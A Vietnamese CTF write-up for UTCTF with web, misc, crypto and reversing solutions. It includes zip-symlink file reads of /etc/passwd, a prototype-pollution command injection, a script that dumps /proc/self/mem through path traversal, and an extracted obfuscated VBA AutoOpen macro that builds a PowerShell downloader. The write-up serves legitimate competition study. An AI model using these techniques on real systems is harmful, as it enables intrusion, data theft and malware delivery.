
---
# /Web
## /Beginner: Off-Brand Cookie Clicker
> I tried to make my own version of cookie clicker, without all of the extra fluff. Can you beat my highscore?
>
> By Khael (@malfuncti0nal on discord)

Web có tính năng click vào bánh quy và sẽ lưu số lần click. Khi click đủ 10,000,000 sẽ có flag.
Khi ngó qua source code ta thấy số lần click được lưu trong `localStorage`.

Như vậy chỉ cần chỉnh lại count trong localStorage rồi click sẽ có flag

## /Schrödinger
> Hey, my digital cat managed to get into my server and I can't get him out.
> The only thing running on the server is a website a colleague of mine made.
> Can you find a way to use the website to check if my cat's okay? He'll likely be in the user's home directory.
> You'll know he's fine if you find a "flag.txt" file.
>
> By helix (@helix_shift on discord)
Web cho chúng ta upload các file zip.

Sau khi upload file zip lên, server sẽ tự unzip ra và đọc nội dung của các file trong zip

Bài này ban đầu mình đã nghĩ có thể là SSTI nhưng không. Linux còn có nhiều loại file và link files là một trong số đó. Khi nén file, zip còn có thể lưu symbolic link.
Như vậy, thay vì nén file bình thường thì mình nén symbolic link và trỏ đến file flag để làm server đọc file flag.
Vì `flag.txt` nằm ở home user nhưng ta chưa biết tên user là gì, cần phải đọc file `/etc/passwd` trước để biết các user.

Đã biết được username tên là `copenhagen`, giờ ta chỉ việc đọc file flag nằm trong home directory của user này.

## /Easy Mergers
> Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!
>
> By Samintell (@samintell on discord)
>
> [`📁 mergers.py`](https://uithcm-my.sharepoint.com/:u:/g/personal/23520385_ms_uit_edu_vn/EaTLOIccbOhKikQWo6v-TJ4BCRr9Vd8UgmiZIdpegrkrNw?e=lRrJQb)
Web cho phép nhập key và value để code tạo JSON Object gồm input nhập vào và company id.

Web còn tính năng absorb company theo cid. Khi absorb company, POST đến `/api/absorbCompany/:cid/`, code sẽ thay thế cid cũ với JSON object mới được truyền vào và fork file `merger.js` với data truyền vào là post data và data ban đầu.
Trong file này có đoạn code chạy exec process với cmd mặc định là `./merger.sh`. Cmd sẽ được set lại nếu `secret.cmd` khác NULL. Tuy nhiên biến `secret` lại là một object rỗng

Ta để ý có đoạn set lại biến `orig` lại từ key và value mình truyền
vào

Ở đây ta có thể tận dụng lỗi Protototype Pollution để đưa vào cmd theo ý mình.
Trước tiên tạo một company, sau đó absorb và đưa vào payload prototype pollution. Web sẽ trả về response của `exec()`

## /Home on the Range
> I wrote a custom HTTP server to play with obscure HTTP headers.
>
> By Jonathan (@JBYoshi on discord)
>
> :::spoiler Hint 1
> If it seems like something's missing, that's completely intentional; you should be able to figure out why it's missing and where it currently is. You don't need to do any brute force guessing to figure out what that missing thing is.
> :::
Khi vào web sẽ list các directory của folder hiện tại là `www`

Khi bấm vào file ta còn có thể đọc nội dung của file `hello.html`.
Lúc này mình ~~không~~ nghĩ đến pathtraversal, fuzz thử thì thấy có file `server.py` nằm ở root
:::spoiler `/server.py`
```python=
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading
with open("/setup/flag.txt") as f:
the_flag = f.read()
os.remove("/setup/flag.txt")
def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
boundary = randbytes(64).hex()
for [first, last] in (ranges if ranges != [] else [[None, None]]):
count = None
if first is None:
if last is None:
first = 0
else:
first = file_len - last
count = last
elif last is not None:
count = last - first + 1
if (count is not None and count < 0) or first < 0:
return False
content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
if len(ranges) > 1:
write_bytes(b"\r\n--" + boundary.encode())
if content_type:
write_bytes(b"\r\nContent-Type: " + content_type.encode())
write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
write_bytes(b"\r\n\r\n")
else:
if content_type:
write_header("Content-Type", content_type)
if len(ranges) > 0:
write_header("Content-Range", content_range_header)
if not write_file_range(first, count):
return False
if len(ranges) > 1:
write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)
elif len(ranges) == 0:
write_header("Accept-Ranges", "bytes")
return True
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
return self.try_serve_file(self.path[1:])
def try_serve_file(self, f):
if f == "":
f = "."
try:
status_code = 200
range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
ranges = []
if range_match:
status_code = 206
ranges = []
for range in self.headers.get("range").split("=")[1].split(", "):
left, right = range.split("-")
new_range = [None, None]
if left:
new_range[0] = int(left)
if right:
new_range[1] = int(right)
if not left and not right:
# invalid
ranges = [[None, None]]
break
ranges.append(new_range)
self.log_message("Serving %s ranges %s", f, repr(ranges))
(content_type, _) = guess_type(f)
with open(f, "rb") as io:
file_length = os.stat(f).st_size
headers = []
chunks = []
def check_file_chunk(first, count):
if count is None:
if first < 0:
return False
io.seek(first)
if io.read(1) == b"":
return False
else:
if count <= 0 or first < 0:
return False
io.seek(first + count - 1)
if io.read(1) == b"":
return False
chunks.append({"type": "file", "first": first, "count": count})
return True
ok = process_range_request(ranges, content_type, file_length,
lambda k, v: headers.append((k, v)),
lambda b: chunks.append({"type": "bytes", "bytes": b}),
check_file_chunk)
if not ok:
self.send_response(416)
self.send_header("Content-Range", "bytes */" + str(file_length))
self.end_headers()
return
content_length = 0
for chunk in chunks:
if chunk["type"] == "bytes":
content_length += len(chunk["bytes"])
elif chunk["type"] == "file":
content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]
self.send_response(status_code)
for (k, v) in headers:
self.send_header(k, v)
self.send_header("Content-Length", str(content_length))
self.end_headers()
for chunk in chunks:
if chunk["type"] == "bytes":
self.wfile.write(chunk["bytes"])
elif chunk["type"] == "file":
io.seek(chunk["first"])
count = chunk["count"]
buf_size = 1024 * 1024
while count is None or count > 0:
chunk = io.read(min(count if count is not None else buf_size, buf_size))
self.wfile.write(chunk)
if count is not None:
count -= len(chunk)
if len(chunk) == 0:
break
except FileNotFoundError:
print(f)
self.send_error(404)
except IsADirectoryError:
if not f.endswith("/") and f != ".":
self.send_response(303)
self.send_header("Location", "/" + f + "/")
self.end_headers()
elif os.path.isfile(f + "/index.html"):
return self.try_serve_file(f + "/index.html")
else:
dir_name = os.path.basename(os.path.abspath(f))
if dir_name == "":
dir_name = "/"
body = (
"<!DOCTYPE html><html><head><title>Directory listing of "
+ escape(dir_name)
+ "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"
+ "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])
+ "</ul></body></html>"
).encode("utf-8")
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
self.wfile.write(body)
pass
except OSError as e:
self.send_error(500, None, e.strerror)
server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)
def exit_handler(signum, frame):
sys.stderr.write("Received SIGTERM\n")
# Needs to run in another thread to avoid blocking the main thread
def shutdown_server():
server.shutdown()
shutdown_thread = threading.Thread(target=shutdown_server)
shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)
sys.stderr.write("Server ready\n")
server.serve_forever()
with open("/setup/flag.txt", "w") as f:
f.write(the_flag)
```
:::
Trước tiên ta thấy, server đọc flag từ file `/setup/flag.txt` và xóa ngay sau đó, khi shutdown server thì code sẽ lấy flag từ biến `the_flag` và write lại vào file đó.
Khi đưa vào path là directory thì sẽ list ra danh sách các directory của nó, khi đưa vào path là file thì sẽ đọc file đó.
Ngoài ra code còn có một tính năng quan trọng là đọc file dựa vào range bytes.
Code sẽ lấy range dựa vào custom header là `range`

Khi đưa vào range bytes, web sẽ đọc files theo bytes trong khoảng từ a -> b.
Giả sử khi đưa vào `range: bytes=10-100, 100-500`, code sẽ đọc file từ bytes 10-100 và 100-500.
Vì file flag đã bị xóa nhưng flag vẫn còn lưu vào trong biến `the_flag`. Teammate của mình @clowncs đã nghĩ đến việc dump memory để lấy flag. Tiếp đến mình sẽ thử ``/proc/self`` vì
> The /proc/self/ directory is a link to the currently running process.
Cụ thể hơn mình sẽ vào đọc ``/proc/self/maps`` để xem **virtual address space** của từng process.

Đến đây thì cần biết region nơi mà flag được lưu ở ``/proc/self/mem``. Ở đây bởi do server đang chạy bằng python các biến sẽ không được lưu trong stack bởi python là ``script language``. Nên mình quyết định sử dụng tính năng ``range`` đã nhắc từ trước và đọc những region có quyền read ở maps mới nhận về.
Quick script:
```python=
import requests
maps = open("input.txt", "r").readlines()
def send(r1, r2):
r = requests.get("http://guppy.utctf.live:7884/%2e%2e/%2e%2e/proc/self/mem", headers={"range": f"bytes={r1}-{r2}"})
print(r.text)
for line in maps:
line = line.strip().split(" ")
rangeBytes = line[0].split("-")
if 'r' not in line[1]: continue
r1 = int(rangeBytes[0], 16)
r2 = int(rangeBytes[1], 16) - 1
send(r1, r2)
```
Sau khi thử hết thì flag sẽ nằm từ ``124163915821056-124163919962111``
Flag: ***utflag{do_u_want_a_piece_of_me}***
# /MISC
## /CCV
> I've got some credit cards but I don't which ones are valid. Where did I get them? Uh, that's not important.
>
> Oh, you'll probably need this: dae55498c432545826fb153885bcb06b
>
> By mzone (@mzone on discord)

Đề yêu cầu ta check xem credit card đó có hợp lệ không dựa trên `` PAN, date as MMYY, CSC, and a CVV``. Sau đó mình bắt đầu đi research và tìm kiếm một số tài liệu liên quan.
> https://www.linkedin.com/pulse/card-verification-code-cvc-value-cvv-nayoon-cooray/
> https://www.101computing.net/is-my-credit-card-valid/
Tuy nhiên thì mình thử dựa trên như các bài viết không được 😭. Lúc sau thì mình được teammate @aneii11 gửi link sau ``https://fint-1227.appspot.com/cvvcalc/``. Đại loại thì dựa vào cái chuỗi hex đề cho và các chỉ số khác nó có thể tính ra CVV và ta có thể compare để check xem thẻ có valid không. Chạy xong 336 test case vẫn chưa có flag, lúc này mình đọc lại câu nhắn cuối là cần giữ input lại =]]]

Final script:
```python=
import requests
from pwn import *
def getCVV(pan, date, code):
_HASH = 'dae55498c432545826fb153885bcb06b'
r = requests.post('https://fint-1227.appspot.com/cvvcalc/calculate', data={'cvk':_HASH, 'pan': pan, 'exp': date, 'svc': code})
return r.text
cnt = 0
flag = ""
if __name__ == "__main__":
conn = remote("puffer.utctf.live", 8625)
conn.recvuntil(b"I'm counting on you. And be sure to keep track of your answers so we don't need to check these again.\n")
conn.recvline()
for i in range(336):
info = conn.recvline().decode().strip()
conn.recvline()
info = info.split(", ")
print(info)
pan = info[0].split(": ")[1]
date = info[1].split(": ")[1]
code = info[2].split(": ")[1]
server_cvv = info[3].split(": ")[1]
cvv = getCVV(pan, date, code)
if (cvv == server_cvv):
conn.sendline(b"1")
flag += "1"
else:
conn.sendline(b"0")
flag += "0"
print(f"{cnt}: {conn.recvline()}")
cnt+=1
print(conn.recv(200))
print(flag)
```
Flag: ***utflag{hope_none_of_those_were_yours_lol}***
# /Crypto
## /RSA-256
solve.py
```python=
N = 77483692467084448965814418730866278616923517800664484047176015901835675610073
e = 65537
c = 43711206624343807006656378470987868686365943634542525258065694164173101323321
from Crypto.Util.number import*
p, q = 1025252665848145091840062845209085931, 75575216771551332467177108987001026743883
d = (inverse(e, (p-1)*(q-1)))
print(long_to_bytes(pow(c, d, p*q)))
```
N là số 256 bit nên mình dùng factordb.com để tìm p, q
## /Anti-dcodefr
solve.py
```python=
f = open("chal.txt", "r").read()
from tqdm import *
for k in trange(26):
a = ""
for i in f:
if i!="{" and i!="}" and i!="_":
a += chr((ord(i)- ord("a") - k)%26 + ord("a"))
else:
a+=i
if "utflag{" in a:
break
open("flag.txt", "w").write(a)
```
Bài này mình brute-force rot-cipher để tìm flag trong file.txt
Flag: ***utflag{rip_dcode}***
## /Number go brrr
chal.py
```python=
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import time
seed = int(time.time() * 1000) % (10 ** 6)
def get_random_number():
global seed
seed = int(str(seed * seed).zfill(12)[3:9])
return seed
def encrypt(message):
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return ciphertext.hex()
print("Thanks for using our encryption service! To get the encrypted flag, type 1. To encrypt a message, type 2.")
while True:
print("What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?")
user_input = int(input())
if(user_input == 1):
break
print("What is your message?")
message = input()
print("Here is your encrypted message:", encrypt(message.encode()))
flag = open('./src/flag.txt', 'r').read()
print("Here is the encrypted flag:", encrypt(flag.encode()))
```
solve.py
```python=
from pwn import*
from Crypto.Util.number import*
from sage.all import*
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
context.log_level = "debug"
io = remote("betta.utctf.live", 7356)
def get_random_number():
global seed
seed = int(str(seed * seed).zfill(12)[3:9])
return seed
def decrypt(message):
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.decrypt(message)
return ciphertext
def encrypt_msg(msg):
io.sendlineafter(b"What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?", b"2")
io.sendlineafter(b"What is your message?", msg.encode())
io.recvuntil(b"Here is your encrypted message:")
encrypted = bytes.fromhex(io.recvline().decode())
return encrypted
def encrypt(message):
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return ciphertext
io.sendlineafter(b"What would you like to do (1 - get encrypted flag, 2 - encrypt a message)?", b"1")
io.recvuntil(b"Here is the encrypted flag:")
flag = bytes.fromhex(io.recvline().decode())
from tqdm import trange
for seed in trange(-1000000, 1000000):
pt = decrypt(flag)
if b"utflag{" in pt:
print(f"{seed = }")
print(f"{pt = }")
break
```
Vì seed chỉ trong khoảng (0, 10**6) nên bruteforce seed rất nhanh
Flag: ***utflag{deep_seated_and_recurring_self-doubts}***
## /Number go brrr 2
chal.py
```python=
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random
seed = random.randint(0, 10 ** 6)
def get_random_number():
global seed
seed = int(str(seed * seed).zfill(12)[3:9])
return seed
def encrypt(message):
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return key.hex(), ciphertext.hex()
print("Thanks for using our encryption service! To get the start guessing, type 1. To encrypt a message, type 2.")
print("You will need to guess the key (you get 250 guesses for one key). You will do this 3 times!")
for i in range(3):
seed = random.randint(0, 10 ** 6)
print("Find the key " + str(i + 1) + " of 3!")
key = encrypt(b"random text to initalize key")[0]
while True:
print("What would you like to do (1 - guess the key, 2 - encrypt a message)?")
user_input = int(input())
if(user_input == 1):
break
print("What is your message?")
message = input()
key, ciphertext = encrypt(message.encode())
print("Here is your encrypted message:", ciphertext)
print("You have 250 guesses to find the key!")
found = False
for j in range(250):
print("What is your guess (in hex)?")
guess = str(input()).lower()
if guess == key:
print("You found the key!")
found = True
break
else:
print("That is not the key!")
if not found:
print("You did not find the key!")
exit(0)
flag = open('/src/flag.txt', 'r').read()
print("Here is the flag:", flag)
```
solve.py
```python=
from pwn import*
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random
context.log_level = "debug"
seed = random.randint(0, 10 ** 6)
def get_random_number():
global seed
seed = int(str(seed * seed).zfill(12)[3:9])
return seed
def encrypt(message):
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return key.hex(), ciphertext.hex()
def decrypt(message):
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.decrypt((message))
return key, ciphertext.hex()
def get_encrypt(msg):
io.sendlineafter(b"What would you like to do (1 - guess the key, 2 - encrypt a message)?", b"2")
io.sendlineafter(b"What is your message?", msg)
io.recvuntil(b"Here is your encrypted message:")
ciphertxt = io.recvline().decode()
return ciphertxt
def get_key(key):
io.recvuntil(b"What is your guess (in hex)?")
io.sendline(key.hex())
io = remote("betta.utctf.live", 2435)
for _ in range(3):
pt = b"123qweqrtasdqw765234123411asdfawersasaffsdasssa"
pt = pad(pt, AES.block_size)
ct_hex = get_encrypt(pt)[:-1]
print(ct_hex)
from tqdm import*
for seed in trange(10**6):
key, ct = encrypt(pt)
if ct==ct_hex[1:]:
break
last_seed = seed
newseeds = []
for newseed in trange(10**6):
seed = newseed
for _ in range(8):
aa = get_random_number()
if aa == last_seed:
newseeds.append(newseed)
keys = []
for newseed in newseeds:
seed = newseed
key = b''
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
keys.append(key)
io.sendlineafter(b"What would you like to do (1 - guess the key, 2 - encrypt a message)?", b"1")
for key in keys:
io.recvuntil(b"What is your guess (in hex)?")
io.sendline(key.hex())
io.recvline()
line = io.recvline()
print(line)
if b"found" in line:
break
io.interactive()
```
Bài này ta cần tìm key mà ta đưa plaintext vào để mã hóa:
Tuy nhiên seed vẫn nằm trong khoảng (0, 10**6) nên cách mình làm tương tự bài trên.
Flag: ***utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}***
## /Cryptordle
chal.py
```python=
#!/usr/bin/env python3
import random
wordlist = open('/src/wordlist.txt', 'r').read().split('\n')
for word in wordlist:
assert len(word) == 5
for letter in word:
assert letter in 'abcdefghijklmnopqrstuvwxyz'
for attempt in range(3):
answer = random.choice(wordlist)
num_guesses = 0
while True:
num_guesses += 1
print("What's your guess?")
guess = input().lower()
assert len(guess) == 5
for letter in guess:
assert letter in 'abcdefghijklmnopqrstuvwxyz'
if guess == answer:
break
response = 1
for x in range(5):
a = ord(guess[x]) - ord('a')
b = ord(answer[x]) - ord('a')
response = (response * (a-b)) % 31
print(response)
if num_guesses > 6:
print("Sorry, you took more than 6 tries. No flag for you :(")
exit()
else:
print("Good job! Onward...")
if num_guesses <= 6:
print('Nice! You got it :) Have a flag:')
flag = open('/src/flag.txt', 'r').read()
print(flag)
else:
print("Sorry, you took more than 6 tries. No flag for you :(")
```
`solve.py`
```python=
def check_char(char, guess_chrs, resps):
for charguess, res in zip(guess_chrs, resps):
respons = 1
for x in range(5):
a = ord(charguess[x]) - ord('a')
b = ord(char[x]) - ord('a')
respons = (respons * (a-b))% 31
if respons!=res:
return False
return True
from sage.all import*
from pwn import*
from Crypto.Util.number import*
from itertools import*
guess = "abcdefghijklmnopqrstuvwxyz"
comb1 = permutations(list(range(len(guess))), 5)
comb2 = combinations_with_replacement(list(range(len(guess))), 5)
guess_lst1 = []
for i in comb1:
guess_lst1.append("".join(guess[ii] for ii in i))
# guess_chrs = []
# resps = []
print((guess_chrs), (resps))
from tqdm import*
for cha in tqdm(guess_lst1):
if check_char(cha, guess_chrs, resps)==True:
print(cha)
```
Bài này mình brute-force để tìm tất cả string phù hợp, tuy nhiên server chỉ nhận string có nghĩa nên mình brute bên ngoài rồi nhập tay string đó để có flag. Rất may là chỉ có 3 lần test
Flag: ***utflag{sometimes_pure_guessing_is_the_strat}***
## /Bits and pieces
`chal.py`
```python=
n1= 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013
e1= 65537
c1= 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382
n2= 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317
e2= 65537
c2= 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144
n3= 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081
e3= 65537
c3= 17407076170882273876432597038388758264230617761068651657734759714156681119134231664293550430901872572856333330745780794113236587515588367725879684954488698153571665447141528395185542787913364717776209909588729447283115651585815847333568874548696816813748100515388820080812467785181990042664564706242879424162602753729028187519433639583471983065246575409341038859576101783940398158000236250734758549527625716150775997198493235465480875148169558815498752869321570202908633179473348243670372581519248414555681834596365572626822309814663046580083035403339576751500705695598043247593357230327746709126221695232509039271637
```
`solve.py`
```python=
n1= 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013
e1= 65537
c1= 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382
n2= 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317
e2= 65537
c2= 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144
n3= 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081
e3= 65537
c3= 17407076170882273876432597038388758264230617761068651657734759714156681119134231664293550430901872572856333330745780794113236587515588367725879684954488698153571665447141528395185542787913364717776209909588729447283115651585815847333568874548696816813748100515388820080812467785181990042664564706242879424162602753729028187519433639583471983065246575409341038859576101783940398158000236250734758549527625716150775997198493235465480875148169558815498752869321570202908633179473348243670372581519248414555681834596365572626822309814663046580083035403339576751500705695598043247593357230327746709126221695232509039271637
from Crypto.Util.number import*
from sage.all import*
p2 = gcd(n2,n3)
p1 = "129 984014 749130 366259 742130 443330 376923 069118 727641 845190 136006 048911 945242 427603 092160 936004 682857 611235 008521 722596 025476 170673 607376 869837 675885 556290 582081 941522 328978 811710 862857 253777 650447 221864 279732 376499 043513 950683 086803 379743 964370 215090 077032 772967 632331 576620 201195 241241 611325 672953 583711 295127".replace(" ", "")
p1 = int(p1)
q1 = n1//p1
assert p1*q1==n1
d1 = int(inverse(e1, (p1-1)*(q1-1)))
print(long_to_bytes(pow(c1, d1, n1)).decode(), end="")
q2 = n2//p2
d2 = int(inverse(e2, (p2-1)*(q2-1)))
print(long_to_bytes(pow(c2, d2, n2)).decode(), end="")
p3 = p2
q3 = n3//p3
d3 = int(inverse(e3, (p3-1)*(q3-1)))
print(long_to_bytes(pow(c3, d3, n3)).decode())
```
Vì n2 và n3 dùng dùng p => p = gcd(n2, n3)
Với n1 thì mình sử dụng web alpertron.com.ar để phân tích
Flag: ***utflag{oh_no_it_didnt_work_</3_i_guess_i_can_just_use_standard_libraries_in_the_future}***
## /Simple signature
Sau vài lần thử tương tác với server thì mình đã hiểu cách nó encrypt như sau:
Server sẽ gửi cho mình n, e = 65537
Nếu mình gửi $m$ bất kì lần thứ $i$ thì server sẽ trả cho mình $(m+i-1)^d$
Sau đó server yêu cầu ta nhập lại 1 cặp $m$, $m^d$ nếu đúng thì cho ta flag.
Vì vậy ta chỉ việc chọn 2 số bất kì rồi thực hiện phép chia để tìm lại signature.
Ví dụ:
- chọn số 6 -> c6
- chọn số 1 -> c2
Từ đây có thể tìm được c3 và gửi server để lấy flag
Flag: ***utflag{a1m05t_t3xtb00k_3x3rc153}***
# /Rev
## /Beginner: Basic Reversing Problem
> So many function calls... but are they that different?
>
> By Khael (@malfuncti0nal on discord)
Đặt breakpoint cuối chương trình và ta có flag: ***utflag{i_c4n_r3v!}***
## /Fruit Deals
> I found a excel sheet with some great deals thanks to some random guy on the internet! Who doesn't trust random people off the internet, especially from email
>
> The flag is the file name that was attempted to be downloaded, wrapped in utflag{} Note: the file imitates malicious behavior. its not malicious, but it will be flagged by AV. you probably shouldn't just run it though.
>
> By Samintell (@samintell on discord)
Đề cho một file .xlsm, mình liền dùng ``olevba`` để extract macro xem có gì lạ không.
```ps1=
Sub AutoOpen()
Dim Retval
Dim f As String
Dim t53df028c67b2f07f1069866e345c8b85, qe32cd94f940ea527cf84654613d4fb5d, e5b138e644d624905ca8d47c3b8a2cf41, tfd753b886f3bd1f6da1a84488dee93f9, z92ea38976d53e8b557cd5bbc2cd3e0f8, xc6fd40b407cb3aac0d068f54af14362e As String
xc6fd40b407cb3aac0d068f54af14362e = "$OrA, "
If Sheets("Sheet2").Range("M62").Value = "Iuzaz/iA" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "$jri);"
End If
If Sheets("Sheet2").Range("G80").Value = "bAcDPl8D" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "Invok"
End If
e5b138e644d624905ca8d47c3b8a2cf41 = " = '"
If Sheets("Sheet2").Range("P31").Value = "aI3bH4Rd" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "http"
End If
If Sheets("Sheet2").Range("B50").Value = "4L3bnaGQ" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "://f"
End If
If Sheets("Sheet2").Range("B32").Value = "QyycTMPU" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "e-Ite"
End If
If Sheets("Sheet2").Range("K47").Value = "0kIbOvsu" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "m $jri"
End If
If Sheets("Sheet2").Range("B45").Value = "/hRdSmbG" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + ";brea"
End If
If Sheets("Sheet2").Range("D27").Value = "y9hFUyA8" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + "ruit"
End If
If Sheets("Sheet2").Range("A91").Value = "De5234dF" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".ret3"
End If
If Sheets("Sheet2").Range("I35").Value = "DP7jRT2v" Then
e5b138e644d624905ca8d47c3b8a2cf41 = e5b138e644d624905ca8d47c3b8a2cf41 + ".gan"
End If
If Sheets("Sheet2").Range("W48").Value = "/O/w/o57" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "k;} c"
End If
If Sheets("Sheet2").Range("R18").Value = "FOtBe4id" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "atch "
End If
If Sheets("Sheet2").Range("W6").Value = "9Vo7IQ+/" Then
xc6fd40b407cb3aac0d068f54af14362e = xc6fd40b407cb3aac0d068f54af14362e + "{}"""
End If
